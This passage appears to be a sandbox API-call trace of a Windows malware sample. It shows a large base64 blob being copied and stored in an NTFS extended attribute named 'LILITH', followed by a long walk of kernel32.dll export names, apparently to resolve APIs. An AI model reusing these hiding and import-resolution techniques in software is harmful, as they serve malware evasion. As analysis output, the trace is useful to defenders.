wL0Bx+vXRC20wYWdf51TMpKfq4WhVI4zqEHuaJaXW27aj0DMMKiExkJ1xIXJKKQKY84FvbDD6HMvPIT3bS2g3L+wTaQGNgGQkhOzVZ/EDuAVDPPlHO/ZALegHEL3+R7mZKQ79kRLte5GeGBsCaMo9PzZf3v6rKxTekNMlaR0gaoRsRyFvNia+CNQfMuv3vH434B7rev4hyguEgudSpXZm0617meosWgInf5JHUnIMmLKDUp8mbZ24oPl10BsJ7JHz4iU5vcwEUsMa9eR8i4looYU4GvFCq1a+amZs99/7c3j5s/EIEvYXi4jBqNSY3BUanu1y/JXNXhOmJDXB/BgYCAAAApAAAUlNBMQAIAAABAAEAfVJqcipbDABFecjOLaqbkdiwu5V0TKBjtT8bJN90kapniBBhMufbUY3Ci5iXZWFR0n8TYkwCRW/ngwy8xKFokbcYIPUg8XmK/upPpgV0QKlSqmpxWReWb8JT1p7QWeSKEvAXrcieFiWaz3/795l//xrfVRB0UDXrgkWz3grEF+w+stoMNj3mpF5xwkSOJA7soS2+DAGpkAWiaGHSt83pMyl3aHFpH94iFWfJDE4W5SeVX4Kz46vsHNtAZzCCplRKJYUWq/ilDyXYloGsscRClOfG182JZu4IgTeDXg8N9jl3Yf3fuUPjzkCBRAfNozZ94YzWSjE2U+xr/1EKaiXD1A==" | out: lpString1="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") returned="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" [0093.693] NtSetEaFile (FileHandle=0x464, IoStatusBlock=0x21fe7b4, EaBuffer=0x31c0000*(NextEntryOffset=0x0, Flags=0x0, EaNameLength=0x6, EaValueLength=0xa38, EaName="LILITH", EaValue=0x31c000f*), EaBufferSize=0xa4c) returned 0x0 [0093.694] lstrlenA (lpString="kernel32.dll") returned 12 [0093.695] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0093.695] lstrcpyA (in: lpString1=0x21fdb04, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0093.695] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0093.695] lstrcpyA (in: lpString1=0x21fdb04, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0093.695] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0093.695] lstrcpyA (in: lpString1=0x21fdb04, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0093.695] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0093.695] lstrcpyA (in: lpString1=0x21fdb04, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0093.695] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0093.695] lstrcpyA (in: lpString1=0x21fdb04, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0093.695] lstrlenA (lpString="ADDATOMA") returned 8 [0093.695] lstrcpyA (in: lpString1=0x21fdb04, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0093.695] lstrlenA (lpString="ADDATOMW") returned 8 [0093.695] lstrcpyA (in: lpString1=0x21fdb04, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0093.695] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0093.695] lstrcpyA (in: lpString1=0x21fdb04, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0093.696] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0093.696] lstrcpyA (in: lpString1=0x21fdb04, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0093.696] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0093.696] lstrcpyA (in: lpString1=0x21fdb04, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0093.696] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0093.696] lstrcpyA (in: lpString1=0x21fdb04, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0093.696] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0093.696] lstrcpyA (in: lpString1=0x21fdb04, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0093.696] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0093.696] lstrcpyA (in: lpString1=0x21fdb04, lpString2="AddRefActCtx" | out: lpString1="AddRefActCtx") returned="AddRefActCtx" [0093.696] lstrlenA (lpString="ADDREFACTCTX") returned 12 [0093.696] lstrcpyA (in: lpString1=0x21fdb04, lpString2="AddRefActCtxWorker" | out: lpString1="AddRefActCtxWorker") returned="AddRefActCtxWorker" [0093.696] lstrlenA (lpString="ADDREFACTCTXWORKER") returned 18 [0093.696] lstrcpyA (in: lpString1=0x21fdb04, lpString2="AddResourceAttributeAce" | out: lpString1="AddResourceAttributeAce") returned="AddResourceAttributeAce" [0093.696] lstrlenA (lpString="ADDRESOURCEATTRIBUTEACE") returned 23 [0093.696] lstrcpyA (in: lpString1=0x21fdb04, lpString2="AddSIDToBoundaryDescriptor" | out: lpString1="AddSIDToBoundaryDescriptor") returned="AddSIDToBoundaryDescriptor" [0093.696] lstrlenA (lpString="ADDSIDTOBOUNDARYDESCRIPTOR") returned 26 [0093.696] lstrcpyA (in: lpString1=0x21fdb04, lpString2="AddScopedPolicyIDAce" | out: lpString1="AddScopedPolicyIDAce") returned="AddScopedPolicyIDAce" [0093.697] lstrlenA (lpString="ADDSCOPEDPOLICYIDACE") returned 20 [0093.697] lstrcpyA (in: lpString1=0x21fdb04, lpString2="AddSecureMemoryCacheCallback" | out: lpString1="AddSecureMemoryCacheCallback") returned="AddSecureMemoryCacheCallback" [0093.697] lstrlenA (lpString="ADDSECUREMEMORYCACHECALLBACK") returned 28 [0093.697] lstrcpyA (in: lpString1=0x21fdb04, lpString2="AddVectoredContinueHandler" | out: lpString1="AddVectoredContinueHandler") returned="AddVectoredContinueHandler" [0093.697] lstrlenA (lpString="ADDVECTOREDCONTINUEHANDLER") returned 26 [0093.697] lstrcpyA (in: lpString1=0x21fdb04, lpString2="AddVectoredExceptionHandler" | out: lpString1="AddVectoredExceptionHandler") returned="AddVectoredExceptionHandler" [0093.697] lstrlenA (lpString="ADDVECTOREDEXCEPTIONHANDLER") returned 27 [0093.697] lstrcpyA (in: lpString1=0x21fdb04, lpString2="AdjustCalendarDate" | out: lpString1="AdjustCalendarDate") returned="AdjustCalendarDate" [0093.697] lstrlenA (lpString="ADJUSTCALENDARDATE") returned 18 [0093.697] lstrcpyA (in: lpString1=0x21fdb04, lpString2="AllocConsole" | out: lpString1="AllocConsole") returned="AllocConsole" [0093.697] lstrlenA (lpString="ALLOCCONSOLE") returned 12 [0093.698] lstrcpyA (in: lpString1=0x21fdb04, lpString2="AllocateUserPhysicalPages" | out: lpString1="AllocateUserPhysicalPages") returned="AllocateUserPhysicalPages" [0093.698] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGES") returned 25 [0093.698] lstrcpyA (in: lpString1=0x21fdb04, lpString2="AllocateUserPhysicalPagesNuma" | out: lpString1="AllocateUserPhysicalPagesNuma") returned="AllocateUserPhysicalPagesNuma" [0093.698] lstrlenA (lpString="ALLOCATEUSERPHYSICALPAGESNUMA") returned 29 [0093.698] lstrcpyA (in: lpString1=0x21fdb04, lpString2="AppPolicyGetClrCompat" | out: lpString1="AppPolicyGetClrCompat") returned="AppPolicyGetClrCompat" [0093.698] lstrlenA (lpString="APPPOLICYGETCLRCOMPAT") returned 21 [0093.698] lstrcpyA (in: lpString1=0x21fdb04, lpString2="AppPolicyGetCreateFileAccess" | out: lpString1="AppPolicyGetCreateFileAccess") returned="AppPolicyGetCreateFileAccess" [0093.698] lstrlenA (lpString="APPPOLICYGETCREATEFILEACCESS") returned 28 [0093.698] lstrcpyA (in: lpString1=0x21fdb04, lpString2="AppPolicyGetLifecycleManagement" | out: lpString1="AppPolicyGetLifecycleManagement") returned="AppPolicyGetLifecycleManagement" [0093.698] lstrlenA (lpString="APPPOLICYGETLIFECYCLEMANAGEMENT") returned 31 [0093.698] lstrcpyA (in: lpString1=0x21fdb04, lpString2="AppPolicyGetMediaFoundationCodecLoading" | out: lpString1="AppPolicyGetMediaFoundationCodecLoading") returned="AppPolicyGetMediaFoundationCodecLoading" [0093.698] lstrlenA (lpString="APPPOLICYGETMEDIAFOUNDATIONCODECLOADING") returned 39 [0093.698] lstrcpyA (in: lpString1=0x21fdb04, lpString2="AppPolicyGetProcessTerminationMethod" | out: lpString1="AppPolicyGetProcessTerminationMethod") returned="AppPolicyGetProcessTerminationMethod" [0093.698] lstrlenA (lpString="APPPOLICYGETPROCESSTERMINATIONMETHOD") returned 36 [0093.698] lstrcpyA (in: lpString1=0x21fdb04, lpString2="AppPolicyGetShowDeveloperDiagnostic" | out: lpString1="AppPolicyGetShowDeveloperDiagnostic") returned="AppPolicyGetShowDeveloperDiagnostic" [0093.698] lstrlenA (lpString="APPPOLICYGETSHOWDEVELOPERDIAGNOSTIC") returned 35 [0093.698] lstrcpyA (in: lpString1=0x21fdb04, lpString2="AppPolicyGetThreadInitializationType" | out: lpString1="AppPolicyGetThreadInitializationType") returned="AppPolicyGetThreadInitializationType" [0093.698] lstrlenA (lpString="APPPOLICYGETTHREADINITIALIZATIONTYPE") returned 36 [0093.698] lstrcpyA (in: lpString1=0x21fdb04, lpString2="AppPolicyGetWindowingModel" | out: lpString1="AppPolicyGetWindowingModel") returned="AppPolicyGetWindowingModel" [0093.698] lstrlenA (lpString="APPPOLICYGETWINDOWINGMODEL") returned 26 [0093.699] lstrcpyA (in: lpString1=0x21fdb04, lpString2="AppXGetOSMaxVersionTested" | out: lpString1="AppXGetOSMaxVersionTested") returned="AppXGetOSMaxVersionTested" [0093.699] lstrlenA (lpString="APPXGETOSMAXVERSIONTESTED") returned 25 [0093.699] lstrcpyA (in: lpString1=0x21fdb04, lpString2="ApplicationRecoveryFinished" | out: lpString1="ApplicationRecoveryFinished") returned="ApplicationRecoveryFinished" [0093.699] lstrlenA (lpString="APPLICATIONRECOVERYFINISHED") returned 27 [0093.699] lstrcpyA (in: lpString1=0x21fdb04, lpString2="ApplicationRecoveryInProgress" | out: lpString1="ApplicationRecoveryInProgress") returned="ApplicationRecoveryInProgress" [0093.699] lstrlenA (lpString="APPLICATIONRECOVERYINPROGRESS") returned 29 [0093.699] lstrcpyA (in: lpString1=0x21fdb04, lpString2="AreFileApisANSI" | out: lpString1="AreFileApisANSI") returned="AreFileApisANSI" [0093.699] lstrlenA (lpString="AREFILEAPISANSI") returned 15 [0093.699] lstrcpyA (in: lpString1=0x21fdb04, lpString2="AssignProcessToJobObject" | out: lpString1="AssignProcessToJobObject") returned="AssignProcessToJobObject" [0093.699] lstrlenA (lpString="ASSIGNPROCESSTOJOBOBJECT") returned 24 [0093.699] lstrcpyA (in: lpString1=0x21fdb04, lpString2="AttachConsole" | out: lpString1="AttachConsole") returned="AttachConsole" [0093.699] lstrlenA (lpString="ATTACHCONSOLE") returned 13 [0093.699] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BackupRead" | out: lpString1="BackupRead") returned="BackupRead" [0093.699] lstrlenA (lpString="BACKUPREAD") returned 10 [0093.699] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BackupSeek" | out: lpString1="BackupSeek") returned="BackupSeek" [0093.699] lstrlenA (lpString="BACKUPSEEK") returned 10 [0093.699] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BackupWrite" | out: lpString1="BackupWrite") returned="BackupWrite" [0093.699] lstrlenA (lpString="BACKUPWRITE") returned 11 [0093.700] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BaseCheckAppcompatCache" | out: lpString1="BaseCheckAppcompatCache") returned="BaseCheckAppcompatCache" [0093.700] lstrlenA (lpString="BASECHECKAPPCOMPATCACHE") returned 23 [0093.700] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BaseCheckAppcompatCacheEx" | out: lpString1="BaseCheckAppcompatCacheEx") returned="BaseCheckAppcompatCacheEx" [0093.700] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEX") returned 25 [0093.700] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BaseCheckAppcompatCacheExWorker" | out: lpString1="BaseCheckAppcompatCacheExWorker") returned="BaseCheckAppcompatCacheExWorker" [0093.700] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEEXWORKER") returned 31 [0093.700] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BaseCheckAppcompatCacheWorker" | out: lpString1="BaseCheckAppcompatCacheWorker") returned="BaseCheckAppcompatCacheWorker" [0093.700] lstrlenA (lpString="BASECHECKAPPCOMPATCACHEWORKER") returned 29 [0093.700] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BaseCheckElevation" | out: lpString1="BaseCheckElevation") returned="BaseCheckElevation" [0093.700] lstrlenA (lpString="BASECHECKELEVATION") returned 18 [0093.700] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BaseCleanupAppcompatCacheSupport" | out: lpString1="BaseCleanupAppcompatCacheSupport") returned="BaseCleanupAppcompatCacheSupport" [0093.700] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORT") returned 32 [0093.700] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BaseCleanupAppcompatCacheSupportWorker" | out: lpString1="BaseCleanupAppcompatCacheSupportWorker") returned="BaseCleanupAppcompatCacheSupportWorker" [0093.700] lstrlenA (lpString="BASECLEANUPAPPCOMPATCACHESUPPORTWORKER") returned 38 [0093.700] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BaseDestroyVDMEnvironment" | out: lpString1="BaseDestroyVDMEnvironment") returned="BaseDestroyVDMEnvironment" [0093.700] lstrlenA (lpString="BASEDESTROYVDMENVIRONMENT") returned 25 [0093.700] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BaseDllReadWriteIniFile" | out: lpString1="BaseDllReadWriteIniFile") returned="BaseDllReadWriteIniFile" [0093.700] lstrlenA (lpString="BASEDLLREADWRITEINIFILE") returned 23 [0093.700] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BaseDumpAppcompatCache" | out: lpString1="BaseDumpAppcompatCache") returned="BaseDumpAppcompatCache" [0093.701] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHE") returned 22 [0093.701] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BaseDumpAppcompatCacheWorker" | out: lpString1="BaseDumpAppcompatCacheWorker") returned="BaseDumpAppcompatCacheWorker" [0093.701] lstrlenA (lpString="BASEDUMPAPPCOMPATCACHEWORKER") returned 28 [0093.701] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BaseElevationPostProcessing" | out: lpString1="BaseElevationPostProcessing") returned="BaseElevationPostProcessing" [0093.701] lstrlenA (lpString="BASEELEVATIONPOSTPROCESSING") returned 27 [0093.701] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BaseFlushAppcompatCache" | out: lpString1="BaseFlushAppcompatCache") returned="BaseFlushAppcompatCache" [0093.701] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHE") returned 23 [0093.701] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BaseFlushAppcompatCacheWorker" | out: lpString1="BaseFlushAppcompatCacheWorker") returned="BaseFlushAppcompatCacheWorker" [0093.701] lstrlenA (lpString="BASEFLUSHAPPCOMPATCACHEWORKER") returned 29 [0093.701] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BaseFormatObjectAttributes" | out: lpString1="BaseFormatObjectAttributes") returned="BaseFormatObjectAttributes" [0093.701] lstrlenA (lpString="BASEFORMATOBJECTATTRIBUTES") returned 26 [0093.701] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BaseFormatTimeOut" | out: lpString1="BaseFormatTimeOut") returned="BaseFormatTimeOut" [0093.701] lstrlenA (lpString="BASEFORMATTIMEOUT") returned 17 [0093.701] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BaseFreeAppCompatDataForProcessWorker" | out: lpString1="BaseFreeAppCompatDataForProcessWorker") returned="BaseFreeAppCompatDataForProcessWorker" [0093.701] lstrlenA (lpString="BASEFREEAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0093.701] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BaseGenerateAppCompatData" | out: lpString1="BaseGenerateAppCompatData") returned="BaseGenerateAppCompatData" [0093.701] lstrlenA (lpString="BASEGENERATEAPPCOMPATDATA") returned 25 [0093.701] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BaseGetNamedObjectDirectory" | out: lpString1="BaseGetNamedObjectDirectory") returned="BaseGetNamedObjectDirectory" [0093.702] lstrlenA (lpString="BASEGETNAMEDOBJECTDIRECTORY") returned 27 [0093.702] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BaseInitAppcompatCacheSupport" | out: lpString1="BaseInitAppcompatCacheSupport") returned="BaseInitAppcompatCacheSupport" [0093.702] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORT") returned 29 [0093.702] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BaseInitAppcompatCacheSupportWorker" | out: lpString1="BaseInitAppcompatCacheSupportWorker") returned="BaseInitAppcompatCacheSupportWorker" [0093.702] lstrlenA (lpString="BASEINITAPPCOMPATCACHESUPPORTWORKER") returned 35 [0093.702] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BaseIsAppcompatInfrastructureDisabled" | out: lpString1="BaseIsAppcompatInfrastructureDisabled") returned="BaseIsAppcompatInfrastructureDisabled" [0093.702] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLED") returned 37 [0093.702] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BaseIsAppcompatInfrastructureDisabledWorker" | out: lpString1="BaseIsAppcompatInfrastructureDisabledWorker") returned="BaseIsAppcompatInfrastructureDisabledWorker" [0093.702] lstrlenA (lpString="BASEISAPPCOMPATINFRASTRUCTUREDISABLEDWORKER") returned 43 [0093.702] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BaseIsDosApplication" | out: lpString1="BaseIsDosApplication") returned="BaseIsDosApplication" [0093.702] lstrlenA (lpString="BASEISDOSAPPLICATION") returned 20 [0093.702] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BaseQueryModuleData" | out: lpString1="BaseQueryModuleData") returned="BaseQueryModuleData" [0093.702] lstrlenA (lpString="BASEQUERYMODULEDATA") returned 19 [0093.702] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BaseReadAppCompatDataForProcessWorker" | out: lpString1="BaseReadAppCompatDataForProcessWorker") returned="BaseReadAppCompatDataForProcessWorker" [0093.702] lstrlenA (lpString="BASEREADAPPCOMPATDATAFORPROCESSWORKER") returned 37 [0093.702] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BaseSetLastNTError" | out: lpString1="BaseSetLastNTError") returned="BaseSetLastNTError" [0093.702] lstrlenA (lpString="BASESETLASTNTERROR") returned 18 [0093.702] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BaseThreadInitThunk" | out: lpString1="BaseThreadInitThunk") returned="BaseThreadInitThunk" [0093.702] lstrlenA (lpString="BASETHREADINITTHUNK") returned 19 [0093.703] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BaseUpdateAppcompatCache" | out: lpString1="BaseUpdateAppcompatCache") returned="BaseUpdateAppcompatCache" [0093.703] lstrlenA (lpString="BASEUPDATEAPPCOMPATCACHE") returned 24 [0093.703] lstrcpyA (in: lpString1=0x21fdb04, lpString2="BaseUpdateAppcompatCacheWorker" | out: 